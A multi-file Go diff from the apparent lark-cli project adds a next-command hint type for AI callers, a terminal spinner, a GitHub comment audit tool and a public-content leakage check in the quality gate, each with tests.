func (m Method) ParsedAffordance() (Affordance, bool) {
if len(m.Affordance) == 0 {
return Affordance{}, false
@@ -37,7 +46,7 @@ func (m Method) ParsedAffordance() (Affordance, bool) {
if json.Unmarshal(m.Affordance, &a) != nil {
return Affordance{}, false
}
if len(a.UseWhen) == 0 && len(a.DoNotUseWhen) == 0 && len(a.Prerequisites) == 0 && len(a.Examples) == 0 && len(a.Related) == 0 {
if len(a.UseWhen) == 0 && len(a.AvoidWhen) == 0 && len(a.Prerequisites) == 0 && len(a.Tips) == 0 && len(a.Examples) == 0 && len(a.Extensions) == 0 && len(a.Related) == 0 && len(a.Skills) == 0 {
return Affordance{}, false
}
return a, true

View File

@@ -19,7 +19,7 @@ func TestMethod_ParsedAffordance(t *testing.T) {
notOK := map[string]string{
"empty payload": ``,
"empty object": `{}`,
"all empty arrays": `{"use_when":[],"do_not_use_when":[],"prerequisites":[],"examples":[],"related":[]}`,
"all empty arrays": `{"use_when":[],"avoid_when":[],"prerequisites":[],"tips":[],"examples":[],"related":[]}`,
"malformed string": `"not an object"`,
"malformed number": `42`,
"nested type mismatch": `{"examples":"should be a list"}`,
@@ -35,8 +35,9 @@ func TestMethod_ParsedAffordance(t *testing.T) {
// Populated affordance parses with all fields.
raw := `{
"use_when": ["需要拿到当前用户的主日历 ID"],
"do_not_use_when": ["已知具体 calendar_id"],
"avoid_when": ["已知具体 calendar_id"],
"prerequisites": ["user 身份登录"],
"tips": ["主日历的 calendar_id 即当前用户的 union_id"],
"examples": [{"description":"获取主日历","command":"lark-cli calendar calendars primary"}],
"related": ["calendars.list"]
}`
@@ -47,10 +48,22 @@ func TestMethod_ParsedAffordance(t *testing.T) {
if len(a.UseWhen) != 1 || a.UseWhen[0] != "需要拿到当前用户的主日历 ID" {
t.Errorf("UseWhen = %v", a.UseWhen)
}
if len(a.Tips) != 1 || a.Tips[0] != "主日历的 calendar_id 即当前用户的 union_id" {
t.Errorf("Tips = %v", a.Tips)
}
if len(a.Examples) != 1 || a.Examples[0].Description != "获取主日历" || a.Examples[0].Command != "lark-cli calendar calendars primary" {
t.Errorf("Examples = %+v", a.Examples)
}
if len(a.Related) != 1 || a.Related[0] != "calendars.list" {
t.Errorf("Related = %v", a.Related)
}
// A method whose only guidance is Tips still parses as populated.
tipsOnly, ok := (Method{Affordance: json.RawMessage(`{"tips":["先调用 list 拿到 id"]}`)}).ParsedAffordance()
if !ok {
t.Fatal("ParsedAffordance with only tips ok=false, want populated")
}
if len(tipsOnly.Tips) != 1 || tipsOnly.Tips[0] != "先调用 list 拿到 id" {
t.Errorf("Tips = %v", tipsOnly.Tips)
}
}

View File

@@ -15,8 +15,20 @@ type Envelope struct {
// Meta carries optional metadata in envelope responses.
type Meta struct {
Count int `json:"count,omitempty"`
Rollback string `json:"rollback,omitempty"`
Count int `json:"count,omitempty"`
Rollback string `json:"rollback,omitempty"`
Next []NextAction `json:"next,omitempty"`
}
// NextAction is a typed "suggested next command" that an AI caller can execute
// directly.
type NextAction struct {
Label string `json:"label"`
Command string `json:"command"`
// Template, when true, marks a Command that contains <...> placeholders and
// must be fully substituted by the caller before execution; it is not
// directly executable as-is. Directly executable commands omit the field.
Template bool `json:"template,omitempty"`
}
// PendingNotice, if set, returns system-level notices to inject as the

View File

@@ -0,0 +1,214 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package output
import (
"encoding/json"
"testing"
)
// marshalMeta marshals m and fails the test on error, returning the JSON bytes.
func marshalMeta(t *testing.T, m *Meta) []byte {
t.Helper()
b, err := json.Marshal(m)
if err != nil {
t.Fatalf("json.Marshal(%#v) error = %v", m, err)
}
return b
}
// unmarshalMap unmarshals b into a generic map and fails the test on error.
func unmarshalMap(t *testing.T, b []byte) map[string]interface{} {
t.Helper()
var got map[string]interface{}
if err := json.Unmarshal(b, &got); err != nil {
t.Fatalf("json.Unmarshal(%s) error = %v", b, err)
}
return got
}
func TestMetaNextSerialization_NonEmptyRoundTrips(t *testing.T) {
m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}}
got := unmarshalMap(t, marshalMeta(t, m))
rawNext, ok := got["next"]
if !ok {
t.Fatalf("expected \"next\" key, got %#v", got)
}
next, ok := rawNext.([]interface{})
if !ok {
t.Fatalf("next type = %T, want array", rawNext)
}
if len(next) != 1 {
t.Fatalf("len(next) = %d, want 1", len(next))
}
action, ok := next[0].(map[string]interface{})
if !ok {
t.Fatalf("next[0] type = %T, want object", next[0])
}
if action["label"] != "poll" {
t.Errorf("next[0].label = %v, want poll", action["label"])
}
if action["command"] != "lark-cli agent task get example:x t1" {
t.Errorf("next[0].command = %v, want the poll command", action["command"])
}
}
func TestMetaNextSerialization_NilOmitted(t *testing.T) {
got := unmarshalMap(t, marshalMeta(t, &Meta{Count: 1}))
if _, ok := got["next"]; ok {
t.Errorf("nil Next must be omitted, got %#v", got)
}
if got["count"] != float64(1) {
t.Errorf("count = %v, want 1", got["count"])
}
}
func TestMetaNextSerialization_EmptySliceOmitted(t *testing.T) {
// A non-nil but empty slice must also be dropped by omitempty (len == 0).
got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{}}))
if _, ok := got["next"]; ok {
t.Errorf("empty Next slice must be omitted, got %#v", got)
}
}
func TestMetaNextSerialization_EmptyFieldsPresent(t *testing.T) {
// A NextAction with empty fields still serializes: label/command have no
// omitempty, so they render as empty strings and the entry stays present.
got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{{}}}))
next, ok := got["next"].([]interface{})
if !ok || len(next) != 1 {
t.Fatalf("next = %#v, want single-element array", got["next"])
}
action, ok := next[0].(map[string]interface{})
if !ok {
t.Fatalf("next[0] type = %T, want object", next[0])
}
label, hasLabel := action["label"]
command, hasCommand := action["command"]
if !hasLabel || label != "" {
t.Errorf("label = %v (present=%v), want empty string present", label, hasLabel)
}
if !hasCommand || command != "" {
t.Errorf("command = %v (present=%v), want empty string present", command, hasCommand)
}
}
func TestMetaNextSerialization_TemplateTruePresent(t *testing.T) {
// A template hint (command carries <...> placeholders) must serialize the
// marker so AI callers know it needs substitution before execution.
m := &Meta{Next: []NextAction{{
Label: "continue",
Command: "lark-cli agent send example:x --context-id c1 --task-id t1 --text <你的答复>",
Template: true,
}}}
next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
if !ok || len(next) != 1 {
t.Fatalf("next = %#v, want single-element array", next)
}
action, _ := next[0].(map[string]interface{})
if action["template"] != true {
t.Errorf("template = %v, want true", action["template"])
}
}
func TestMetaNextSerialization_TemplateFalseOmitted(t *testing.T) {
// A directly executable hint must not carry the template key at all
// (omitempty): its absence is the "run verbatim" signal.
m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1 --watch"}}}
next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
if !ok || len(next) != 1 {
t.Fatalf("next = %#v, want single-element array", next)
}
action, _ := next[0].(map[string]interface{})
if _, present := action["template"]; present {
t.Errorf("template=false must be omitted, got %#v", action)
}
}
func TestMetaNextSerialization_MultipleActionsPreserveOrder(t *testing.T) {
m := &Meta{Next: []NextAction{
{Label: "poll", Command: "lark-cli agent task get example:x t1"},
{Label: "cancel", Command: "lark-cli agent task cancel example:x t1"},
}}
next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
if !ok || len(next) != 2 {
t.Fatalf("next = %#v, want two-element array", next)
}
first, _ := next[0].(map[string]interface{})
second, _ := next[1].(map[string]interface{})
if first["label"] != "poll" || second["label"] != "cancel" {
t.Errorf("order not preserved: got %v then %v", first["label"], second["label"])
}
}
func TestMetaNextSerialization_SpecialCharacters(t *testing.T) {
// Fields carrying quotes, unicode and newlines must survive a JSON round
// trip intact, which string matching would not reliably verify.
label := `poll "now"`
command := "lark-cli agent task get example:代理 t1\n--wait"
m := &Meta{Next: []NextAction{{Label: label, Command: command}}}
next, _ := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
if len(next) != 1 {
t.Fatalf("next = %#v, want single-element array", next)
}
action, _ := next[0].(map[string]interface{})
if action["label"] != label {
t.Errorf("label = %q, want %q", action["label"], label)
}
if action["command"] != command {
t.Errorf("command = %q, want %q", action["command"], command)
}
}
func TestEnvelopeMetaNextIntegration(t *testing.T) {
// Meta.Next must serialize correctly when nested inside a full Envelope,
// under the "meta" key alongside data.
env := Envelope{
OK: true,
Data: map[string]interface{}{"task_id": "t1"},
Meta: &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}},
}
b, err := json.Marshal(env)
if err != nil {
t.Fatalf("json.Marshal(envelope) error = %v", err)
}
got := unmarshalMap(t, b)
if got["ok"] != true {
t.Errorf("ok = %v, want true", got["ok"])
}
meta, ok := got["meta"].(map[string]interface{})
if !ok {
t.Fatalf("meta type = %T, want object", got["meta"])
}
next, ok := meta["next"].([]interface{})
if !ok || len(next) != 1 {
t.Fatalf("meta.next = %#v, want single-element array", meta["next"])
}
action, _ := next[0].(map[string]interface{})
if action["command"] != "lark-cli agent task get example:x t1" {
t.Errorf("meta.next[0].command = %v, want the poll command", action["command"])
}
}
func TestEnvelopeNilMetaOmitted(t *testing.T) {
// nil Meta is a valid edge case: the "meta" key must not appear.
b, err := json.Marshal(Envelope{OK: true})
if err != nil {
t.Fatalf("json.Marshal(envelope) error = %v", err)
}
got := unmarshalMap(t, b)
if _, ok := got["meta"]; ok {
t.Errorf("nil Meta must be omitted, got %#v", got)
}
}

View File

@@ -0,0 +1,80 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package output
import (
"fmt"
"io"
"sync"
"time"
)
// spinnerFrames are braille spinner glyphs cycled to animate progress.
var spinnerFrames = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"}
const (
spinnerInterval = 80 * time.Millisecond
spinnerHideCursor = "\x1b[?25l"
spinnerShowCursor = "\x1b[?25h"
spinnerClearLine = "\r\x1b[K" // CR + clear-to-end-of-line
)
// StartSpinner renders a braille spinner with an elapsed-seconds counter to w
// until the returned stop() is called, e.g.:
//
// ⠹ Publishing dev → main... 3s
//
// It is meant for slow operations (long polls, first-time provisioning) so the
// user sees the CLI is alive. Always write to STDERR (w = IO().ErrOut) so the
// animation never pollutes stdout — the JSON/pretty result stays clean.
//
// When enabled is false (stderr is not a TTY: pipes, CI, captured output) it is
// a no-op returning a no-op stop, so non-interactive runs emit nothing. Gate on
// the stderr-TTY check (IOStreams.StderrIsTerminal), not the output format: the
// spinner is stderr-only and self-clears, so it is shown in JSON mode too.
//
// stop() clears the spinner line, restores the cursor, and blocks until the
// render goroutine has finished — so callers can safely write the result to
// stdout/stderr immediately after. Call stop() BEFORE printing the result, and
// it is safe to call more than once (e.g. an explicit call plus a defer).
func StartSpinner(w io.Writer, enabled bool, label string) func() {
if !enabled || w == nil {
return func() {}
}
done := make(chan struct{})
finished := make(chan struct{})
start := time.Now()
go func() {
defer close(finished)
frame := 0
fmt.Fprint(w, spinnerHideCursor)
render := func() {
elapsed := int(time.Since(start).Seconds())
fmt.Fprintf(w, "%s%s %s... %ds", spinnerClearLine, spinnerFrames[frame], label, elapsed)
frame = (frame + 1) % len(spinnerFrames)
}
render()
ticker := time.NewTicker(spinnerInterval)
defer ticker.Stop()
for {
select {
case <-done:
fmt.Fprint(w, spinnerClearLine+spinnerShowCursor)
return
case <-ticker.C:
render()
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
close(done)
<-finished // wait for the line to be cleared before returning
})
}
}

View File

@@ -0,0 +1,54 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package output
import (
"bytes"
"strings"
"testing"
)
// TestStartSpinner_DisabledIsNoop asserts that a disabled spinner writes nothing and its stop func is idempotent.
func TestStartSpinner_DisabledIsNoop(t *testing.T) {
var buf bytes.Buffer
stop := StartSpinner(&buf, false, "working")
stop()
stop() // idempotent
if buf.Len() != 0 {
t.Fatalf("disabled spinner wrote %q, want nothing", buf.String())
}
}
// TestStartSpinner_NilWriterIsNoop asserts that a nil writer is a no-op and stopping does not panic.
func TestStartSpinner_NilWriterIsNoop(t *testing.T) {
stop := StartSpinner(nil, true, "working")
stop() // must not panic
}
// TestStartSpinner_EnabledAnimatesAndCleansUp asserts that an enabled spinner renders a frame and label, then clears the line and restores the cursor on stop.
func TestStartSpinner_EnabledAnimatesAndCleansUp(t *testing.T) {
var buf bytes.Buffer
stop := StartSpinner(&buf, true, "Publishing")
// The goroutine renders the first frame synchronously before selecting on
// the stop channel, so even an immediate stop() yields one full cycle.
stop()
stop() // idempotent, must not panic or double-write after finished
out := buf.String()
if !strings.Contains(out, spinnerHideCursor) {
t.Errorf("missing hide-cursor escape:\n%q", out)
}
if !strings.Contains(out, spinnerFrames[0]) {
t.Errorf("missing first spinner frame %q:\n%q", spinnerFrames[0], out)
}
if !strings.Contains(out, "Publishing...") {
t.Errorf("missing label:\n%q", out)
}
if !strings.Contains(out, spinnerClearLine) {
t.Errorf("missing clear-line escape:\n%q", out)
}
if !strings.HasSuffix(out, spinnerShowCursor) {
t.Errorf("must end by restoring the cursor:\n%q", out)
}
}

View File

@@ -0,0 +1,92 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package main
import (
"encoding/json"
"flag"
"fmt"
"os"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/qualitygate/publiccontent"
"github.com/larksuite/cli/internal/qualitygate/report"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
type eventPayload struct {
Comment *struct {
Body string `json:"body"`
} `json:"comment"`
Review *struct {
Body string `json:"body"`
} `json:"review"`
}
func main() {
eventPath := flag.String("event", os.Getenv("GITHUB_EVENT_PATH"), "GitHub event payload path")
kind := flag.String("kind", os.Getenv("GITHUB_EVENT_NAME"), "GitHub event kind")
flag.Parse()
if *eventPath == "" {
fmt.Fprintln(os.Stderr, "comment-audit: --event or GITHUB_EVENT_PATH is required")
os.Exit(2)
}
body, err := commentBody(*eventPath)
if err != nil {
fmt.Fprintf(os.Stderr, "comment-audit: %v\n", err)
os.Exit(2)
}
diags := diagnostics(publiccontent.ScanComment(*kind, body))
if len(diags) > 0 {
fmt.Fprintln(os.Stderr, auditFailureSummary(len(diags)))
}
report.Print(os.Stderr, diags)
os.Exit(report.ExitCode(diags))
}
func auditFailureSummary(count int) string {
return fmt.Sprintf("post-publication audit found public content findings: %d", count)
}
func commentBody(path string) (string, error) {
safePath, err := validate.SafeInputPath(path)
if err != nil {
return "", errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --event: %v", err).
WithParam("--event").
WithCause(err)
}
data, err := vfs.ReadFile(safePath)
if err != nil {
return "", err
}
var payload eventPayload
if err := json.Unmarshal(data, &payload); err != nil {
return "", err
}
switch {
case payload.Comment != nil:
return payload.Comment.Body, nil
case payload.Review != nil:
return payload.Review.Body, nil
default:
return "", nil
}
}
func diagnostics(items []publiccontent.Finding) []report.Diagnostic {
out := make([]report.Diagnostic, 0, len(items))
for _, item := range items {
out = append(out, report.Diagnostic{
Rule: item.Rule,
Action: item.Action,
File: item.File,
Line: item.Line,
Message: item.Message,
Suggestion: item.Suggestion,
})
}
return out
}

View File

@@ -0,0 +1,70 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package main
import (
"errors"
"os"
"path/filepath"
"testing"
"github.com/larksuite/cli/errs"
)
func TestCommentBodyReadsSafeRelativeEventPath(t *testing.T) {
dir := t.TempDir()
if err := writeTestFile(filepath.Join(dir, "event.json"), `{"comment":{"body":"clean comment"}}`); err != nil {
t.Fatal(err)
}
origDir, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
if err := os.Chdir(dir); err != nil {
t.Fatal(err)
}
t.Cleanup(func() {
_ = os.Chdir(origDir)
})
got, err := commentBody("event.json")
if err != nil {
t.Fatalf("commentBody() error = %v", err)
}
if got != "clean comment" {
t.Fatalf("comment body = %q", got)
}
}
func TestCommentBodyRejectsUnsafeEventPath(t *testing.T) {
path := filepath.Join(t.TempDir(), "event.json")
if err := writeTestFile(path, `{"comment":{"body":"clean"}}`); err != nil {
t.Fatal(err)
}
_, err := commentBody(path)
problem, ok := errs.ProblemOf(err)
if err == nil || !ok {
t.Fatalf("commentBody(%q) error = %v, want unsafe path validation error", path, err)
}
if problem.Category != errs.CategoryValidation || problem.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("commentBody(%q) problem = %#v, want invalid argument validation", path, problem)
}
var validationErr *errs.ValidationError
if !errors.As(err, &validationErr) || validationErr.Param != "--event" {
t.Fatalf("commentBody(%q) error = %v, want --event validation param", path, err)
}
}
func TestAuditFailureSummaryStatesPostPublicationAudit(t *testing.T) {
got := auditFailureSummary(2)
want := "post-publication audit found public content findings: 2"
if got != want {
t.Fatalf("auditFailureSummary() = %q, want %q", got, want)
}
}
func writeTestFile(path, data string) error {
return os.WriteFile(path, []byte(data), 0o644)
}

View File

@@ -13,6 +13,7 @@ import (
"github.com/larksuite/cli/internal/qualitygate/manifest"
"github.com/larksuite/cli/internal/qualitygate/report"
"github.com/larksuite/cli/internal/qualitygate/rules"
"github.com/larksuite/cli/internal/validate"
)
func main() {
@@ -41,6 +42,7 @@ func runCheck(args []string) int {
fs.StringVar(&opts.FactsOut, "facts-out", "", "write facts JSON to this path")
fs.StringVar(&opts.ManifestPath, "manifest", "", "hand-authored command manifest JSON")
fs.StringVar(&opts.CommandIndexPath, "command-index", "", "full command index JSON")
fs.StringVar(&opts.PublicContentMetadataPath, "public-content-metadata", "", "PR title/body metadata JSON for public content checks")
fs.BoolVar(&printLegacyCommandCandidates, "print-legacy-command-candidates", false, "print current non-kebab-case hand-authored command candidates")
fs.BoolVar(&printLegacyFlagCandidates, "print-legacy-flag-candidates", false, "print current non-kebab-case flag candidates")
if err := fs.Parse(args); err != nil {
@@ -48,6 +50,15 @@ func runCheck(args []string) int {
return 2
}
if opts.PublicContentMetadataPath != "" {
safePath, err := validate.SafeInputPath(opts.PublicContentMetadataPath)
if err != nil {
fmt.Fprintf(os.Stderr, "quality-gate check: --public-content-metadata: %v\n", err)
return 2
}
opts.PublicContentMetadataPath = safePath
}
if opts.ManifestPath == "" || opts.CommandIndexPath == "" {
fmt.Fprintln(os.Stderr, "quality-gate check: --manifest and --command-index are required")
return 2

View File

@@ -37,6 +37,37 @@ func TestCheckRequiresManifestInputs(t *testing.T) {
}
}
func TestCheckAcceptsPublicContentMetadataFlag(t *testing.T) {
code, stderr := runCheckCaptureStderr(t, []string{
"--repo", t.TempDir(),
"--cli-bin", "./lark-cli",
"--public-content-metadata", ".tmp/quality-gate/pr.json",
})
if code != 2 {
t.Fatalf("exit code = %d, stderr=%s", code, stderr)
}
if strings.Contains(stderr, "flag provided but not defined") {
t.Fatalf("public content metadata flag was not registered: %s", stderr)
}
if !strings.Contains(stderr, "--manifest and --command-index are required") {
t.Fatalf("stderr = %s", stderr)
}
}
func TestCheckRejectsUnsafePublicContentMetadataPath(t *testing.T) {
code, stderr := runCheckCaptureStderr(t, []string{
"--repo", t.TempDir(),
"--cli-bin", "./lark-cli",
"--public-content-metadata", filepath.Join(t.TempDir(), "pr.json"),
})
if code != 2 {
t.Fatalf("exit code = %d, stderr=%s", code, stderr)
}
if !strings.Contains(stderr, "--public-content-metadata") || !strings.Contains(stderr, "--file") {
t.Fatalf("stderr = %s, want unsafe public content metadata path error", stderr)
}
}
func TestCheckReportsManifestReadErrorsWithFlagName(t *testing.T) {
dir := t.TempDir()
manifestPath := filepath.Join(dir, "command-manifest.json")

View File

@@ -56,6 +56,14 @@ func run(args []string) int {
_ = semantic.WriteMarkdown(markdownOut, decision)
return 0
}
if reviewPath == "" && !semantic.BuildInputView(f).HasReviewableFacts() {
decision := finalizeDecision(block, waiverDiags, semantic.Decision{})
if err := writeSemanticOutputs(decisionOut, markdownOut, decision); err != nil {
fmt.Fprintf(os.Stderr, "semantic-review: %v\n", err)
return 2
}
return decisionExitCode(decision)
}
review, err := semantic.LoadOrReviewWithConfig(context.Background(), f, reviewPath, modelConfig)
if err != nil {
fmt.Fprintf(os.Stderr, "semantic-review: %v\n", err)
@@ -72,6 +80,15 @@ func run(args []string) int {
return 0
}
decision := semantic.DecideWithWaivers(f, review, policy, waivers)
decision = finalizeDecision(block, waiverDiags, decision)
if err := writeSemanticOutputs(decisionOut, markdownOut, decision); err != nil {
fmt.Fprintf(os.Stderr, "semantic-review: %v\n", err)
return 2
}
return decisionExitCode(decision)
}
func finalizeDecision(block bool, waiverDiags []report.Diagnostic, decision semantic.Decision) semantic.Decision {
decision.BlockMode = block
if !block && len(decision.Blockers) > 0 {
for i := range decision.Blockers {
@@ -81,15 +98,21 @@ func run(args []string) int {
decision.Blockers = nil
}
decision.SystemWarnings = append(diagnosticSystemWarnings(waiverDiags), decision.SystemWarnings...)
return decision
}
func writeSemanticOutputs(decisionOut, markdownOut string, decision semantic.Decision) error {
if err := semantic.WriteDecision(decisionOut, decision); err != nil {
fmt.Fprintf(os.Stderr, "semantic-review: write decision: %v\n", err)
return 2
return fmt.Errorf("write decision: %w", err)
}
if err := semantic.WriteMarkdown(markdownOut, decision); err != nil {
fmt.Fprintf(os.Stderr, "semantic-review: write markdown: %v\n", err)
return 2
return fmt.Errorf("write markdown: %w", err)
}
if block && len(decision.Blockers) > 0 {
return nil
}
func decisionExitCode(decision semantic.Decision) int {
if decision.BlockMode && len(decision.Blockers) > 0 {
return 1
}
return 0

View File

@@ -7,6 +7,7 @@ import (
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/internal/qualitygate/facts"
@@ -211,7 +212,19 @@ func TestRunWritesSkippedDecisionForUnavailableReviewer(t *testing.T) {
"allowed_base_urls": ["https://ark.ap-southeast.bytepluses.com/api/v3"]
}`, "")
factsPath := filepath.Join(t.TempDir(), "facts.json")
if err := (facts.Facts{SchemaVersion: 1}).WriteFile(factsPath); err != nil {
f := facts.Facts{
SchemaVersion: 1,
Skills: []facts.SkillFact{{
SourceFile: "skills/lark-wiki/SKILL.md",
Line: 30,
Changed: true,
ReferencesInvalidCommand: true,
}},
}
if !semantic.BuildInputView(f).HasReviewableFacts() {
t.Fatal("test setup must contain reviewable facts")
}
if err := f.WriteFile(factsPath); err != nil {
t.Fatalf("write facts: %v", err)
}
decisionPath := filepath.Join(t.TempDir(), "decision.json")
@@ -228,6 +241,71 @@ func TestRunWritesSkippedDecisionForUnavailableReviewer(t *testing.T) {
}
}
func TestRunShortCircuitsEmptySemanticInputWithoutReviewer(t *testing.T) {
t.Setenv("ARK_API_KEY", "")
t.Setenv("ARK_BASE_URL", "")
t.Setenv("ARK_MODEL", "")
repo := t.TempDir()
writeSemanticConfig(t, repo, `{
"schema_version": 1,
"default_enforcement": "observe",
"block_categories": ["skill_quality"]
}`, `{
"allowed": ["semantic-review-v1"],
"allowed_base_urls": ["https://ark.ap-southeast.bytepluses.com/api/v3"]
}`, "")
factsPath := filepath.Join(t.TempDir(), "facts.json")
f := facts.Facts{
SchemaVersion: 1,
Commands: []facts.CommandFact{{
Path: "service command 1",
Domain: "service",
Changed: true,
Source: "service",
}},
Outputs: []facts.OutputFact{{
Command: "service command 1",
Domain: "service",
Changed: true,
Source: "service",
IsList: true,
HasDefaultLimit: true,
HasDecisionField: true,
}},
}
if semantic.BuildInputView(f).HasReviewableFacts() {
t.Fatal("test setup must not contain reviewable facts")
}
if err := f.WriteFile(factsPath); err != nil {
t.Fatalf("write facts: %v", err)
}
decisionPath := filepath.Join(t.TempDir(), "decision.json")
markdownPath := filepath.Join(t.TempDir(), "semantic.md")
code := run([]string{"--repo", repo, "--facts", factsPath, "--decision-out", decisionPath, "--markdown-out", markdownPath, "--block"})
if code != 0 {
t.Fatalf("run() = %d, want clean pass", code)
}
decision := readDecision(t, decisionPath)
if decision.Skipped || decision.Degraded || decision.InfrastructureFailure || !decision.BlockMode {
t.Fatalf("expected non-degraded pass decision: %#v", decision)
}
if len(decision.SystemWarnings) != 0 || len(decision.Warnings) != 0 || len(decision.Blockers) != 0 {
t.Fatalf("empty semantic view should not produce findings: %#v", decision)
}
data, err := os.ReadFile(markdownPath)
if err != nil {
t.Fatalf("read markdown: %v", err)
}
markdown := string(data)
if !strings.Contains(markdown, "No semantic blockers.") {
t.Fatalf("markdown missing pass summary: %s", markdown)
}
if strings.Contains(strings.ToLower(markdown), "skipped") || strings.Contains(strings.ToLower(markdown), "degraded") {
t.Fatalf("markdown should not report semantic review as skipped/degraded: %s", markdown)
}
}
func TestRunWritesInfrastructureFailureDecisionForInvalidReviewerConfig(t *testing.T) {
t.Setenv("ARK_API_KEY", "test-key")
t.Setenv("ARK_BASE_URL", "")
@@ -243,7 +321,19 @@ func TestRunWritesInfrastructureFailureDecisionForInvalidReviewerConfig(t *testi
"allowed_base_urls": ["https://ark.ap-southeast.bytepluses.com/api/v3"]
}`, "")
factsPath := filepath.Join(t.TempDir(), "facts.json")
if err := (facts.Facts{SchemaVersion: 1}).WriteFile(factsPath); err != nil {
f := facts.Facts{
SchemaVersion: 1,
Skills: []facts.SkillFact{{
SourceFile: "skills/lark-wiki/SKILL.md",
Line: 30,
Changed: true,
ReferencesInvalidCommand: true,
}},
}
if !semantic.BuildInputView(f).HasReviewableFacts() {
t.Fatal("test setup must contain reviewable facts")
}
if err := f.WriteFile(factsPath); err != nil {
t.Fatalf("write facts: %v", err)
}
decisionPath := filepath.Join(t.TempDir(), "decision.json")

View File

@@ -5,7 +5,8 @@
"error_hint",
"default_output",
"naming",
"skill_quality"
"skill_quality",
"public_content_leakage"
],
"rollout_groups": [
{
@@ -16,7 +17,8 @@
},
"categories": [
"error_hint",
"skill_quality"
"skill_quality",
"public_content_leakage"
],
"owner": "cli-owner",
"reason": "first semantic blocking rollout only affects changed facts"

View File

@@ -13,14 +13,15 @@ import (
)
type Facts struct {
SchemaVersion int `json:"schema_version"`
Commands []CommandFact `json:"commands,omitempty"`
Skills []SkillFact `json:"skills,omitempty"`
SkillQuality []SkillQualityFact `json:"skill_quality,omitempty"`
Errors []ErrorFact `json:"errors,omitempty"`
Outputs []OutputFact `json:"outputs,omitempty"`
Examples []CommandExample `json:"examples,omitempty"`
Diagnostics []DiagnosticFact `json:"diagnostics,omitempty"`
SchemaVersion int `json:"schema_version"`
Commands []CommandFact `json:"commands,omitempty"`
Skills []SkillFact `json:"skills,omitempty"`
SkillQuality []SkillQualityFact `json:"skill_quality,omitempty"`
Errors []ErrorFact `json:"errors,omitempty"`
Outputs []OutputFact `json:"outputs,omitempty"`
Examples []CommandExample `json:"examples,omitempty"`
PublicContent []PublicContentFact `json:"public_content,omitempty"`
Diagnostics []DiagnosticFact `json:"diagnostics,omitempty"`
}
type CommandFact struct {
@@ -109,6 +110,17 @@ type OutputFact struct {
HasDecisionField bool `json:"has_decision_field,omitempty"`
}
type PublicContentFact struct {
Rule string `json:"rule"`
Action report.Action `json:"action"`
File string `json:"file"`
Line int `json:"line"`
Source string `json:"source,omitempty"`
Excerpt string `json:"excerpt,omitempty"`
Message string `json:"message,omitempty"`
Suggestion string `json:"suggestion,omitempty"`
}
type DryRunRequest struct {
Method string `json:"method"`
URL string `json:"url"`
@@ -206,6 +218,11 @@ func BuildWithCommandLookup(m manifest.Manifest, commandLookup manifest.Manifest
}
}
func WithPublicContent(f Facts, publicContent []PublicContentFact) Facts {
f.PublicContent = publicContent
return f
}
type commandScope struct {
Domain string
Source string

View File

@@ -34,6 +34,7 @@ func TestFactsSchemaCarriesGatekeeperFields(t *testing.T) {
Errors: []ErrorFact{{Code: "invalid_input", Message: "bad path", Hint: "pass --file", Retryable: false, HintActionCount: 1, RequiredHint: true}},
Outputs: []OutputFact{{Command: "im messages list", Fields: []string{"message_id", "sender", "create_time"}, IsList: true, HasDefaultLimit: true, HasDecisionField: true}},
Skills: []SkillFact{{SourceFile: "skills/lark-doc/SKILL.md", Line: 1, DestructiveWithoutGuard: true, ScopeConflict: true}},
PublicContent: []PublicContentFact{{Rule: "public_content_generic_credential", Action: report.ActionReject, File: "docs/public.md", Line: 4, Excerpt: "api_key = <redacted>"}},
}
data, err := json.Marshal(f)
if err != nil {
@@ -43,7 +44,10 @@ func TestFactsSchemaCarriesGatekeeperFields(t *testing.T) {
if err := json.Unmarshal(data, &got); err != nil {
t.Fatalf("unmarshal facts: %v", err)
}
if !got.Errors[0].RequiredHint || got.Outputs[0].Fields[0] != "message_id" || !got.Skills[0].ScopeConflict {
if !got.Errors[0].RequiredHint ||
got.Outputs[0].Fields[0] != "message_id" ||
!got.Skills[0].ScopeConflict ||
got.PublicContent[0].Rule != "public_content_generic_credential" {
t.Fatalf("facts lost gatekeeper fields: %#v", got)
}
}

View File

@@ -0,0 +1,343 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package publiccontent
import (
"bytes"
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"sort"
"strconv"
"strings"
)
func Collect(ctx context.Context, opts Options) ([]Finding, error) {
metadata, err := LoadMetadata(opts.MetadataPath)
if err != nil {
return nil, err
}
var out []Finding
changedFiles, base, err := changedFiles(ctx, opts.Repo, opts.ChangedFrom)
if err != nil {
return nil, err
}
patches := map[string][]changedChunk{}
if base != "" {
patches, err = changedPatches(ctx, opts.Repo, base)
if err != nil {
return nil, err
}
}
for _, file := range changedFiles {
if !scanChangedFile(file) {
continue
}
for _, chunk := range patches[file] {
findings := scanText(file, "file", chunk.Text, isDetectorRuleFile(file))
for i := range findings {
